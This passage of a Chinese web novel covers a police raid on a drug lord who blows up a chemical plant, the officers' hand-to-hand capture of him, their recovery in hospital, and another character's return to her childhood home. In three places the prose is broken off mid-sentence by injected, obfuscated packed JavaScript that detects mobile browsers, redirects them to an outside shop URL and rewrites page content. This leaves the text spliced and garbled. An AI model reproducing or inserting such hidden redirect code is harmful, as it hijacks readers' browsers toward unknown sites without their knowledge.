“即使此刻我单枪匹马,孑然一身,我也敢闯进来,举枪瞄准你。”回北面无表情,一字一句道。 “徐文博。前中国人民解放军某特种大队精英,军区大比武的尖子兵,各项军事技能标兵。” 回北每说一项,徐文博脸上的笑容就淡一分,仿佛这是他的黑历史。 “当年,你穿着那身代表着荣耀与责任的军装,站在军旗下宣誓的时候,心里想的难道就是有朝一日脱下这身军装,换上你爹留下的毒/枭袍子,用本应用于保家卫国的杀人本领来对付我们,祸害更多家庭,制造更多妻离子散,家破人亡吗?!” 周围的警察眼中燃烧着愤怒的火焰,死死盯着眼前的大毒/枭,恨不得现在就把他抓进监狱。 徐文博听到这一番话,沉默了片刻,然后竟低低地笑了起来。 他微微偏过头,让卷发滑落一些,露出了双眼:“回队长,你搞错了一件事。” 他单手插在牛仔裤口袋里,另一只手仍随意拎着那把手枪,姿态放松: “我当年选择进入特种部队,穿上那身军装,从来都不是为了什么狗屁的正义或保家卫国。我只是需要一具足够强悍的身体,和一个能合法学习怎么更有效杀人的地方,仅此而已。” “在这里,想要活下去,光靠着我家族那些遗产和人脉,可远远不够。为得自己变得有用,那才行。” 紧接着,徐文博忽然不知为何将手枪插回了腰间的枪套,再次抬起手时,手上已经握着一个带有红色按钮的遥控器。 在场所有人的心脏在看到遥控器的这一刻停止了跳动! “徐文博!你到底想干什么!”张浩然厉声喝道。 徐文博对张浩然的喝问充耳不闻,他脸上重新浮现出微笑,握着遥控器,一步步朝着车间侧后方的角落里退去,那里堆放着更多废弃的原料桶和杂物。 身边的保镖和毒贩下意识地想要跟上去,却又不敢贸然上前。 徐文博微微抬起手中的遥控器,淡淡开口:“诸位警官,还有我这些不太争气的手下们。” “很不幸地通知各位,这个厂房,我提前做了一点小小的布置。” 他顿了顿,像是在欣赏众人脸上猝然变化的惊愕。 “在几个关键的结构支撑点,还有你们脚下这片区域的承重墙附近,我安放了一些小玩意儿。威力嘛,足够将这座工厂,连同里面所有的交易证据,以及在场的各位——无论是警察还是罪犯,当然除了我——一起送上西天。” “十秒。” “如果我不幸在爆炸前死掉了,那么警方这辈子都别想再找到我名下那些真正核心的犯罪网络和证据。它们会和我一起永远埋进地底。”徐文博看向回北和周围的警察,笑了笑,“如果我没死,那么等爆炸平息,尘埃落定之后,诸位就会发现,我已经消失不见了。” 话落,他毫不犹豫按下了遥控器上的红色按钮。 滴。 尖锐的电子蜂鸣声从车间四面八方响起,声音来源不止一处,至少有七八个方向同时传来,相互叠加。 滴。 所有人脸上都露出震惊,他们再次朝着徐文博刚才站立的方向看去,那里已经空无一人! 滴。滴。滴。 “有炸弹!!!”张浩然顾不上自身伤势,用尽全力朝着大门口方向那些还在与毒贩搏斗的A队队员们嘶声呐喊,“快跑!!离开这里!!!” 滴。 南栀猛地转头,朝着回北扑去! 滴。 车间内所有警察在下一秒同时伸手护住头部和颈部要害,咬着牙用最快的速度朝着最近的出口冲去! 滴。滴。滴。 回北被南栀扑倒在地,两人滚作一团。紧接着,回北猛地翻身,微微蜷缩身体,双臂死死将南栀护在自己怀里,用自己的脊背和身躯尽可能挡住冲击 滴—— 轰隆——!!!!! 惊天动地的爆炸从化工厂一楼中间的空地喷发,刺眼的白光瞬间吞没了所有人视线,炽热的气浪朝着四面八方推进。 无论是警察还是毒贩,以及刚刚增援而来的警察,都在这一瞬间被恐怖的气浪掀飞,朝着四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243416|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面八方摔去。 高及人腰的蒿草在冲击波中剧烈摇曳,几乎要被连根拔起。强烈的震荡波扩散开来,冲上了整个化工厂,让地面都微微震动。冲天的火光将湄公河下游一小片水域都照得通红。 陈兴铐上一名毒贩的动作突然一顿,难以置信地转头望向化工厂方向。 回北能清晰地感觉到自己和南栀被狠狠抛飞了出去,时间在半空中仿佛被无限拉长,变成了慢镜头。她能感觉到炙热的空气灼烧着皮肤,扭曲的火光在眼前蔓延,有几滴不知是谁的鲜血在光芒中划出,然后瞬间蒸发。 紧接着,就像有人猛地按下了播放键,一切骤然加速! 强烈的失重感传来,五脏六腑仿佛都挤到了喉咙口。回北死死抱着南栀,两人重重砸落在化工厂外围一片相对湿润的土地上! 即使有松软的泥土和厚实的蒿草作缓冲,这一撞也是相当可怕的。回北感觉全身的骨头都像散了架,眼前一黑,耳膜嗡地充满了血。木头和枝叶劈头盖脸地砸落在她们身上。 “噗——” 回北喷出一大口鲜血,随即感觉到南栀艰难地爬起身,也剧烈地咳出几口血沫。 南栀第一时间扑到回北身边,颤抖的手按住回北的肩膀和颈侧,吓得急忙道:“小北?小北?!你怎么样?别吓我!” “……咳咳……没、没事儿……”回北吃力地抬起胳膊挥了挥,睁开半只眼睛,笑道,“土地公公……眷顾咱俩呢。” 南栀快速仔细检查了一下回北,确认没有致命伤,才长长松了口气,看向朝着自己咧着嘴傻乐的回北。 回北张张嘴,刚想说些什么,眼神忽然一凝,僵硬地看向南栀身后某个方向。 南栀察觉到了回北身体僵硬,她转过头,顺着回北的目光望去—— 只见不远处,靠近工厂原污水处理区的一片废墟下,有一条直径约一米的管道入口。此时此刻,徐文博正悠哉悠哉地走过去,弯着腰拨开挡路的碎石,准备钻进那条管道。 “我操!”回北从牙缝里挤出一句低骂,“这孙子,早就他妈准备好逃生路线了!” 她挣扎着从地上爬起来,浑身上下无一处不痛,但强烈的愤怒和职责让她忽略了这些。她死死盯着那个靠近管道口的身影,咬牙切齿:“他这下完蛋了,我今晚不亲手把这个杂种铐回去,我就不姓回!” 南栀的脸色也在瞬间变得烟雾,她从回北腰间取下对讲机,说道:“所有单位注意!我是卧底南栀!重复,我是南栀!” “现已在化工厂原污水处理区附近,发现目标徐文博!他正准备通过预设的地下管道逃离!我和回队长现在立刻前往追击!” “其余所有队员,立刻停止战斗,优先疏散化工厂区域!有大量伤员!注意爆炸后续风险!” 对讲机里沉默了几秒,紧接着传来了背景音,是噼里啪啦的火焰燃烧声,以及警察或者毒贩发出来的痛苦的呻吟。 终于,一阵剧烈的咳嗽后,传来了张浩然嘶哑的声音:“……收到!南姐,回队,你们千万小心,这里交给我们!” 通讯切断,回北和南栀对视一眼,深吸一口气压下身体的剧痛,朝着管道入口方向冲去。 354.天地昭昭,此志不息 管道入口处,徐文博一手拨开挡路的乱草,另一只手抓着手机举到耳边,用缅甸语说着什么,面上还挂着微笑,月光和远处的火光勾勒出他的侧脸轮廓。 等回北和南栀偷偷摸摸靠近,才勉强听清楚他应该是在与境外的同伙或者家族童话,汇报这戏行动,以及下一步反扑。 徐文博正说到一半,忽然神经猛地一跳,一股寒意窜起!他猛地转过头—— 一道凌厉无比的身影持枪朝着他猛扑而来,凌空一脚狠狠踹在他胸口! 徐文博只觉得自己像被大卡车撞飞,被踹得向后踉跄了好几步,重重撞在管道壁上,五脏六腑都在翻腾。回北在他面前落地,持枪站稳。 “咳咳!”他咳出几口带血的唾沫,侧身就要朝着管道左侧闪去。 砰砰砰! 几颗子弹打在了他左侧管道上,管道壁被打出几个凹坑,火星四溅。这姓回的差点把他打成筛子,徐文博飞快用缅甸语对着电话那头吼了一句什么,挂断后将手机朝着远处的水泥地面狠狠一扔,手机摔得四分五裂。 随即他双手持枪,对着回北和南栀分别扣动扳机! 借着开枪的掩护,他转身就想朝着管道深处钻去。然后南栀竟然躲开了子弹,冲到近前,一只手闪电般探出,死死扭住了他持枪的手腕,另一只手就要去夺枪。 徐文博手腕却忽然一松,手枪朝着地面坠去,又被他另一只手凌空一抄,稳稳接住。而那只空出来的手早已握成拳,狠狠砸向南栀的面门! 南栀猛地一偏头,回北的身影出现在她身后,手掌接住了徐文博的拳头,五指发力,就要顺着他的关节猛地一拧,试图将他的手臂拧脱臼。 徐文博反而借着这力道,向前跨了一步,被抓住的手反腕,抓住了回北,屈膝朝着回北腹部一顶! 回北瞳孔一缩,抓着徐文博的手下意识松开,整个人痛苦地弯下腰,额头上瞬间渗出冷汗,脸色煞白。 徐文博后退半步,对着暂时失去抵抗能力的回北扣下扳机! 砰! 南栀不知何时拔出了匕首,朝着徐文博持枪的小臂猛地划去!匕首在手中转了个圈,刀尖一翻,又狠狠刺向他的肋下! 徐文博闷哼一声,侧腹传来剧痛,温和的液体瞬间浸湿了白色的衬衫。他低头看了一眼,一道深可见骨的血口正在汩汩冒血。 “没完没了了!”徐文博捂着腹部,咬牙切齿地低吼道。 回北强忍着剧痛直起身,对着徐文博就是一枪! 徐文博狼狈地翻滚躲开,子弹打在他刚才站立的地面上,溅起一蓬尘土。 翻滚中,他单手抄起地上一块半截砖头大小的混凝土碎块,借着惯性,用尽全力朝着南栀的头部狠狠砸去! 家里太挤,闪避已经来不及了。南栀只能勉强将手中的匕首横架在头顶,试图格挡。 铛! 混凝土狠狠砸在了刀刃上,南栀只觉得手腕连同两条胳膊发麻,失去知觉。石块在刀刃上裂开,但巨力仍然像重锤,狠狠砸在她的手臂和肩头! 南栀眼神阵阵发黑,鲜血顺着额角迅速流淌下来,模糊了她半边的视线。 徐文博绝不会放过这个机会,他眼中杀意沸腾,枪口一抬,朝着回北连开数枪。随即,他像猎豹般扑到南栀身前,五指狠狠扣向南栀的咽喉! 南栀凭借着肌肉记忆后仰,抬起左手抓住徐文博的手腕,咔嚓一拧,脱臼声清脆响起。 徐文博手腕剧痛,但仍然用另一只手猛地抓起一把尘土,扬向南栀的面门。南栀下意识闭眼偏头,可徐文博就在这时一把夺过了匕首,看也不看,朝着身后正在扣动扳机的回北一甩。 寒光袭来,回北心中一凛,手腕下意识偏移,子弹打飞出去。 远处的应急灯不断闪烁,管道深处传来滴水声,令人莫名心慌。更远处隐约传来了警笛的声音,似乎有大批增援正在赶来,但那声音被厚重的混凝土废墟阻挡,显得微弱遥远。 徐文博站在几步开来,喘着粗气,腹部和手腕豆子啊流血。他自己将自己的手腕掰复位,活动了一下右手,眯起眼睛盯着眼前两个警察。 “你们两个条子,非要追着我不放吗!” 他指了指周围一片狼藉,火光冲天的废墟,又指了指自己身上的伤口,和回北与南栀同样惨烈的模样。 “为了什么‘清正廉洁’,‘除暴安良’,连自己的命都快搭进去了。”徐文博摇了摇头,“凭你们俩的脑子和身手,来我手下工作,赚点钱,过的日子,不比在你们那破警局,天天把脑袋别裤腰带上强?” “强个屁!”回北斩钉截铁地骂道,“全球每年有数十万人因为吸毒直接或间接死亡,上千万个家庭因此支离破碎,陷入绝望。像你这种躲在幕后,制造毒品,贩卖天空,榨取人血的罪魁祸首,就更需要我们这些警察来管,把你们送上监狱,送上刑场!” 徐文博冷冷笑了一声,他眼中凶光一闪,忽然爆发! 他一脚踹开南栀,随即抬脚朝着回北的胸口狠狠踩踏下去!这一脚势大力沉,若是踩实,肋骨尽断,心脏都可能受到重创! 远处铁甲上,一只漆黑的鸟冷漠地俯瞰着下方惨烈的生死搏杀。 “小北!”南栀嘶声呐喊,她不顾一切地朝着徐文博猛扑过去! 两个人重重撞在一起,一同摔了出去,滚倒在地上。 南栀落地后飞速翻身,压在徐文博身上,用还能动的右手死死勒住徐文博的脖子,双腿锁住他的腰身。 徐文博的脸色因为窒息而涨红,他狂暴地用手肘狠狠向后击打南栀的腰腹,每一下都重若千钧。南栀只觉得内脏仿佛都要移位,剧痛让她眼前一阵阵发黑,却仍死死勒住徐文博的脖子。 回北强忍着剧痛爬起,眼前金星乱冒。她扑到草丛里捡起手枪,转身,枪口对准颤抖在一起的两人,却因为两人位置死死绞在一起而无法开枪。 “不用开!”南栀忽然喊道。 紧接着,她瞬间松开了手臂,身体向后仰倒,同时右腿膝盖用尽全身力气,向上狠狠一顶! “呃啊——!!!!” 膝盖精准地撞在了徐文博尾椎骨下方,那个最脆弱的神经丛集处。徐文博全身猛地一震,发出一声凄厉的惨嚎!他整个人蜷缩起来,身体不受控制地抽搐,血沫丛嘴角流出。 回北直直扑到抽搐的徐文博身上,用膝盖压住他的背部,抓起他的手腕,反拧到背后,咔嚓两声,将他的双手牢牢铐在了背后。 南栀松了口气,瘫倒在一边的沙地上,浑身剧痛,耳朵里全是嗡鸣,几乎听不到其余的声音。 “我靠……”回北跌坐在徐文博旁边,也是大口大口喘着气,“终于抓到这孙子了。” 徐文博的脸埋在沙土里,身体还是无意识地痉挛着,发出断断续续的呻吟,彻底失去了反抗能力。 回北转过头,看向南栀。南栀也正好望过来,额角的伤口还在渗血,鲜血滑过她长长的睫毛,滴落在地上。她朝着回北轻轻地弯了一下眼睛。 远处,那只黑鸟振了振翅膀,融入后方的夜色之中,消失不见。 夜风吹过这片刚刚经历了生死的空地,卷起细细的尘土,带着硝烟的气息。沙尘掠过她们染血的脸颊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243417|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掠过徐文博手腕上的手铐,卷上天际。 警笛声由远及近,几辆闪烁着红蓝警灯的警车颠簸着冲过土路,停在了废墟边缘。 张浩然从车上跳下来,头上还缠着绷带,焦急地朝着这边冲来:“回队!南姐!你们俩怎么样了?!” 他的身后,更多的警察和医护人员从车上涌下,朝着这片刚刚结束战斗的废墟飞奔而来。 “俺、俺们好滴很。”回北喘着粗气,朝着赶过来的张浩然等人挥了挥手。随后张开双臂,向后倒去,躺在土地上,睁眼望着头顶上方那片有星辰的夜空。 天边已经开始透出鱼肚白,柔和地晕染开来,驱散浓重的黑暗。 黑夜终于要过去了,晨曦即将来临。 几名警察上前,将徐文博粗暴地拽了起来。他低垂着头,早已不复之前的从容,被塞进了警察,车门关上,将属于他的罪恶时代隔绝在大地之下。 回北、南栀以及其他受伤的队员被迅速抬上救护车,送进了医院。南栀刚刚抵达医院,便陷入昏迷。回北心急如焚,执意要趴在手术室外面等着,被几个同事扛起治疗。 等她从麻药中醒来,睁开眼,看到的就是隔壁病床上,安静沉睡的南栀。 阳光透过百叶窗的缝隙,在她的脸颊上投下光亮。她的呼吸平稳,睫毛纤长,睡颜恬静温柔。 化工厂那边的大火很快被扑灭,万幸的是,参与行动的警察虽然个个带伤,重伤者也不少,但在及时得救治下,都保住了性命。 码头仓库那边,所有参与交易的毒贩被一网打尽,那些“眼睛蓝”毒品被警方缴获。唯一的遗憾,是白蝎不知所终,现场没有找到他的尸体,极有可能是趁着爆炸逃走了。 南栀醒来后,第一时间配合警方,提供了大量关于徐文博犯罪集团内部的信息,以及其他境外毒枭可能的下一步行动计划。警方还将徐文博摔出去的手机尽可能修复,勉强恢复了极少一部分数据,顺着那些数据,警方已经开始悄悄布网,目标指向更深更远的黑暗。 窗外,盛夏的阳光均匀地铺展在连绵起伏的青山和奔涌不息的大江之上,鲜艳的五星红旗迎着晨风铺展。越过那片层叠的绿色波浪,就是那条沾染过无数鲜血,见证过无数罪恶,也承载着无数守护者牺牲与誓言的边境线。 此刻,视线收回。 窗下的街道,安宁祥和,早起的人们开始一天的生活。孩童追逐嬉戏,他们跑过的地方,绿树成荫,花坛里的花朵开得正艳,山河静好,世界正清白而明亮地在眼前徐徐展开。 空气里飘着张浩然带来的苹果香,还有南栀吹着竹笛的乐曲声。 她靠在床头,手里拿着竹笛,竹笛尾端系着紫色流苏,放在唇边,轻轻地吹奏。 是《雨下一整晚》的间奏,也是当年回北刚调到云南,独自来到滇池边,听到以卧底的身份跟着徐文博来云南办事时的南栀吹的那首。 笛声穿过湖面的风,穿过岁月的尘埃,穿过生死离别,在此刻又一次轻轻响起。 回北微微扬起唇角,静静地听着。 生于暗流汹涌的战场,我们绝不做背弃誓言的逃兵。我们坚信,纵使衣襟染血,纵使弹痕刻骨,我们终将为脚下这片我们誓死捍卫的土地,赢回一个又一个安宁的早晨。 我们以生命为界,站在这条战线上,为我们珍视的一切而战,至死方休。 我们相信世界终将走向和平,毒品的阴霾终有一日被驱散,建立在他人痛苦之上的犯罪帝国必然溃散。此身已许国,再难许卿,但若我们的牺牲能多换来一个安睡的夜晚,那么,天地昭昭,此志不息。 355.记得关窗户 直到一切都安全结束后,回北才用新手机号码给江意等人报了平安,很快就陆陆续续收到回复,随之而来的,还有一条消息—— 就在她们在柬埔寨边境与徐文博生死相搏的同一时间,国内的善佑医院被一场冲天大火烧毁,所有医护人员死亡,但所有孩子都安全出来。景明垂和随歌冲入火海,拼了命从坍塌的废墟里将初与序拖了出来。现在,初与序人还在ICU,生死未卜。 没人知道初与序那晚做了些什么,善佑医院事件震动高层,证据链虽然缺少,但指向性明确,所有孩子的证词也可靠。紧接着,与善佑医院来往密切的竹翰学院也被牵连调查,更多黑暗内幕被挖出,舆论引爆。两家机构在滔天民意和司法铁拳下,迅速土崩瓦解,主要负责人非死即囚,但想要挖出背后真正的势力,依旧是不太可能的事情。 在初与序昏迷的这段时间内,江意和回北联合起来,动了些手脚,撇清了那场大火是初与序放的可能。警方最后的结论是:初与序于当晚离家后遭遇不明袭击,重伤昏迷。并且被发现地点于善佑医院案发现场有一定距离,无直接证据表明她与案件有关,放火者是谁,不了了之。 期间,警察联系了她的生母。初母第二天就赶来了,在ICU门口待了两个小时。临走前,她握着景明垂和随歌的手,拜托他们好好照顾初与序。 两人站在住院部窗边向下望,就看见一个中年男人牵着小姑娘,接初母上了车。 这下,他们就明白了那晚初与序为什么离家了。 后来初母又来探望过两次,医疗资源都是顶好的,费用一分不欠,每次来都对着景明垂、随歌和向枝冥等人连连道谢。但每次都不超过两小时,然后头也不回地离开。 初与序醒来那天,是七月七号。 七月的暑气蒸腾着整座城市,蝉鸣从早到晚嘀嘀不休。当天,江意和齐无尽彻底忙完手上的事,一个从美国,一个从葡萄牙,前后脚落地。 除了那个他们犹豫着不敢提及的队友,五个人终于汇齐在一起。 午后的阳光从窗帘外投进病房,白色的床单上反射出光晕,床头柜的康乃馨散发出幽幽芬芳。 初与序靠在病床上,微微侧着头,看向窗外。窗外是茂密的香樟树,枝叶层层叠叠,在热风中轻轻摇曳。 门被轻轻推开,江意走进来,在病床边的椅子上坐下。 初与序微微转了下头看向他,他比在永冬之城时看上去健康了很多,至少脸上有了血色,只是眼下还带着淡淡的青黑。 “意哥。”初与序动了动唇。 江意手肘支在膝盖上,十指交叉,轻声问:“怎么了?” 初与序知道他问的不是她叫他干什么,而是她在善佑医院到底干了些什么。她又看向了窗外,只说:“晚上要下雨了,记得关窗户。” 江意顺着她的视线看了一眼,此刻天色还晴朗,但远处天际线边缘已经堆积起隐隐的灰云,空气潮湿闷热,是暴雨将至前特有的气息。 沉默片刻,初与序问道:“我什么时候可以出院?” “医生说还需要观察几天,等各项指标稳定了,就能出院。”江意随口说道,没让初与序知道医生曾多次下发病危通知,将话题轻轻移开,“出院后有什么打算?” 初与序轻轻摇了摇头。 江意则点了点头,摸出一把钥匙,放到床头柜上,解释道:“你母亲留下的,说是你们以前住的房子,让你出院后暂时住在那里。他们八月份会带着你去新加坡。” 初与序垂下眼看着那把钥匙。钥匙很旧了,边缘生了暗红色的锈迹,看起来像是在某个角落里搁置了很久很久,此刻才被人想起。 江意安静地看着她,她的侧脸很安静,睫毛垂下眼,在眼睑下投落一小片阴影。脖子上还缠着薄薄一层纱布。整个人裹在宽大的病号服上,瘦削得像一片随时会被风吹走的纸。 他想起很多年前,或者说很多次轮回之前,那些「初与序」的样子。每一次江意都会认为那是最后一次,每一次她都会在下一个轮回重新出现,带着完整的记忆。 但这一次不同,这一次没有下一个轮回了。 “初与序,冬逢初不在新世界了。”江意直接开口,他清晰地看到初与序皱起了眉头,直直望着自己,但他还是一字一句道,“他不会回来了。无论你等多久,做什么,他都不会回来了。” “但你不能因为他不在了,就不想活下去。”江意艰涩道,“你不能。” 窗外起了风,香樟树的枝叶开始摇晃,发出沙沙的背景音。 “这世上有很多人希望你活着。”他继续道,“不是作为妄主,不是作为计划的一部分,不是作为任何你必须成为的角色。只是作为你自己,初与序。” “景明垂,随歌,齐无尽和他妹妹,回北,安楚,向枝冥,还有所有在永冬之城被你送回家的玩家们。” “还有我。”江意说,“我在轮回里等了你五百五十五次,不是想看你醒来之后不活了。” 初与序依然没有回答,她环抱着膝盖,坐在病床上。午后的天光从她侧脸流过,勾勒出清瘦的轮廓,窗外蔚蓝的天空倒映在她瞳孔里,望不到底。 她轻描淡写道:“可是我不太想。” 江意伸手帮她倒水的动作在半空中停住了。 初与序慢慢转过头,困惑不解地看着他,那双眼睛在稀薄的光线里显得格外幽深,带着孩子般天真的茫然:“不是说时间能带走一切吗?这么久了,他还是每晚都出现在我梦里。” 江意定定地和初与序对视。 他忽然觉得,初与序现在的情况比他预想的要糟糕得多。她并不悲伤,并不愤怒,甚至并不觉得,只是某种难以形容,更无法触碰的感情。 江意没有再说任何话,他唰一下站起身,推开了病房的门大步走了出去。 门外,等着的几个人与他撞了个正着。 景明垂迎上来,担忧道:“意哥,初与序现在怎么样?她说什么了吗?情绪还好吗?” “给她办出院。”江意没有停下脚步,径直朝着电梯走去,“她不能继续待在一个她不想待的地方。” 身后几人互相对视了一眼,没人反对。 齐无恙揪着齐无尽的衣角,仰起脸问道:“哥哥,初姐姐现在醒来了,是不是好点了呀?” 齐无尽抱着胳膊,看着紧闭的病房门,话语里听不出什么情绪:“精神比身体更差吧。” 话音刚落,另一侧电梯门叮一声打开,随歌提着一个鼓囊囊的塑料袋从里面走出来,满头大汗,一边把袋子往走廊的休息区拎,一边说:“来来来,冰棍!快过来!” 他将冰棍分发给等在病房外的人,大咧咧道:“等初与序出院了,咱们带她急头白脸玩一圈!云南大理桂林阳朔,哪儿凉快上哪儿待着!她要是嫌人多,咱们就包个民宿,反正每个人都有钱,啥也不干就躺平看云,躺个十天半个月,心情保管就好了!” 他越说越来劲,仿佛只要说出来,就能把那些压在他们每个人心口的东西搬走:“吃饭,撸串,逛街,晚上买一堆零食看电影——她爱看什么片?文艺片还是喜剧片?我都行,都陪!人嘛,只要有事干,有朋友陪着,什么坎儿过不去!” 齐无恙原本还扯着齐无尽的衣角,看到随歌,却往齐无尽身后躲了躲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243418|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将半张脸埋进齐无尽身后,警惕地盯着随歌。 随歌一脸茫然:“我咋了?妹妹你嫌弃我?离哥哥这么远干啥?” 齐无恙探出脸,理直气壮道:“我哥之前说,让我离染着黄毛,看起来流里流气的小子远点。” 随歌:“???” 齐无尽:“…………” “我操!”随歌炸了,转头瞪向齐无尽,控诉道,“齐无尽你他妈啥意思啊?!你自己还是红毛呢!我黄毛咋了?我又不是精神小伙,也不骑九号炸街!你自己讨厌我就算了,你还不让你妹跟我玩?!” 齐无尽无奈地扶额,叹道:“不是……我没有。” 随歌抓着齐无尽就打算跟他继续辩论,病房门却在下一秒被从内打开,几个人齐刷刷转头看去,就见初与序站在门口。长发乌黑,衬得脸色比走廊里所有人都白一个度,睫毛鸦翅似的垂下,静静地望着他们。 在永冬之城,她是那个仿佛永远都不会倒下的新人第一。但回到了现实,这具脆弱的身体再也撑不住她像从前那样拼命。善佑医院的那一夜,一场大火和近两周的昏迷不醒将她所剩无几的力气榨干,但这一切并没有让她的美貌大打折扣,反而给她增添了破碎的美感,让人看着无端心生怜悯。 当然,此刻走廊上的这几个人,没一个希望初与序是这样的。他们宁愿她还是那个冷淡疏离,身手凌厉的初与序。 “那啥,你能吃冰棍不?”随歌举着冰棍,有些犹豫道,“等我去问问医生哈。” 说着,他转身就往护士站走,被初与序叫住:“不用,我不吃。” “哦哦……”随歌有点蔫蔫地收住脚,把冰棍塞回塑料袋里,“那意哥就可以吃两根冰棍了。” “你自己吃三根吧,我习惯吃冰的。”江意拿着出院证明和一袋子处方药,大步流星走过来,朝着初与序偏了偏头,“现在出院。” 景明垂抬手指了指单人病房的柜子:“你之前穿的衣服上面全是血,我扔了,新的在柜子里。” “……谢谢。”初与序愣了一下,转身回到病房。 片刻后,她再出来时,已经换上了景明垂给买的灰黑条纹薄款长袖。 一行人走出医院大门时,天已经阴了下来,乌云压得很低,空气潮湿闷热。然而即使光线如此暗淡,初与序也在接触到天光的一瞬间下意识抬手,遮住了右眼。 景明垂见状,把和自己戴的同款的帽子扣在了初与序头上,遮住了日光。 初与序看着站在自己身边,像守着什么稀世珍宝一样的四个人,外加一个齐无恙,半晌后开口:“我说你们几个,真的别管我了。都是成年人了,有自己的事要做。非把时间浪费在我这儿干什么?” “这哪叫浪费啊?!”没等初与序说完,随歌一拍大腿,欲哭无泪道,“序啊,你讲这话是不是嫌弃俺们?都不让俺们跟着你!” 他深吸一口气,豁出去了似的:“俺今天就跟你说明白了吧——俺们都暗恋你!都想跟你在一起!你看俺们这么可怜,就说同不同意俺们在安徽留几周吧!” “……” 齐无尽在听到随歌说的某句话后,脸色微微一变,下意识看向初与序,半秒后又移开,面无表情地盯住了随歌。 随歌被他盯得一个激烈,下意识往江意身后一缩:“意哥!这个死红毛又瞪我!我刚才那句话到底咋惹到他了?!” 齐无尽:“……” 初与序垂下眼,深深叹了口气。难以形容的心悸像一根丝线,从胸腔深处缓缓抽出来,带着苦涩的滋味,漫上喉间。 她抬眼向上看了看天,轻声说:“都先回去吧,要下雨了。” 356.因纽特人的传说 初与序已经有八年没回过这里了。 八年前,父亲去世,母亲出国,后来那些年,她辗转于寄养家庭、善佑医院、竹翰学院、永冬之城,辗转于九千多年的轮回与五百五十一次死亡之间。她以为自己早已忘记那条街的样子。 可此刻开始回忆,她发现自己什么都还记得。 那是那种很常见的小区,并不算老,水泥路面已修补过的痕迹,两旁种着遮天蔽日的香樟,枝叶在头顶交握。左侧那个修自行车的小摊子应该还在,铁皮棚子更旧了,遮阳布换成了军绿色的防水篷布,但摊主还是那个经常说笑话的老爷爷,正和几个老街坊坐在棚子下头,摇着蒲扇说笑。 小时候她总跟着外婆穿过这条街去买菜,菜市场的叔叔阿姨会从摊子后面探出头来,小秘密地塞给她一颗大白兔奶糖,或者一块用油纸包着的绿豆糕。她就一边含着糖,一边帮外婆拎着布袋子。那时候天蓝蓝的,云白白的,风拂过脸颊,痒痒的。 走到半路时,天开始下起毛毛小雨。 雨丝很细,像雾一样飘着,落在睫毛上聚成小水滴。景明垂扣在她头上的棒球帽遮住了雨水,她便没有去买伞,只是加快了脚步。 越靠近小区,路边的景色就越熟悉,也越陌生。 那种感觉很难形容,就像改革开放初期出了国的华侨,在国外待了十几年,那十几年恰好是中国发展最快的年代。再回来时,记忆里的街巷被高楼取代,老店铺换了招牌,连路口那棵歪脖子梧桐都不见了。眼前的一切既像故乡,又像异乡。 小区门口,修自行车的老棚子还在,那几个老爷爷也在。雨渐渐大了起来,斜斜密密地织成了水幕,像起了雾。他们坐在棚子深处聊天,没注意到外面这个戴着帽子匆匆走过的姑娘。就算注意到了,大概也认不出来了。 周围的同龄人,那些小时候一起跳房子,拍画片,玩捉迷藏的孩子们,有的搬走了,有的去了外地上学,有的暑假去旅游。这个时间点,小区里安安静静的,没有碰到任何熟人。 初与序用钥匙打开门,灰尘扑面而来,同时还带来了干燥陈旧的味道。 初与序抬手遮了口鼻,走了进去。 屋里很暗,水电早就停了,她按了几下开关,灯没有亮。只好掏出手机打开手电筒照亮。 家具都空了,沙发、茶几、电视柜全都不在,墙上留着挂过画的痕迹,地板上全是厚厚一层灰。卧室也空了,床没了,一个小衣柜还在,里面叠着几套旧床单和被套,有樟脑丸的味道。 雨在外面下得越来越大,敲打着屋檐,初与序已经很久没听到过这种噼里啪啦的声音。她把卧室打扫了一下,草草打了个地铺,然后和衣躺下。 也许是房子隔音不好,窗外的雨声格外清晰,噼里啪啦砸在玻璃上。屋檐下的积水从落水管奔涌而下,哗哗地响成一片。闪电是不是劈开夜幕,将漆黑的房间照成惨白,滚雷紧随其后,从远天隆隆碾来。 初与序半梦半醒间思绪开始飘忽,混沌中有什么东西正在慢慢浮现——先是模糊的轮廓,修长清瘦,然后是一点猩红的光。 他站在深夜的南极冰川上,指尖夹着一根烟,姿态松散,像是在等什么人。 远处的天是难以形容的深蓝色,绿色的极光从地平线上升起来,层层叠叠,横贯了三分之一的天穹,边缘渐渐渗进深蓝里,温柔地晕开。冰面反射着绿影,风削过雪脊,细雪轻飘飘落下来。 凌冽的寒风划开初与序混沌的大脑,她朝着前方那个模糊的身影看去。 那人也侧过头来,对她微微一笑。 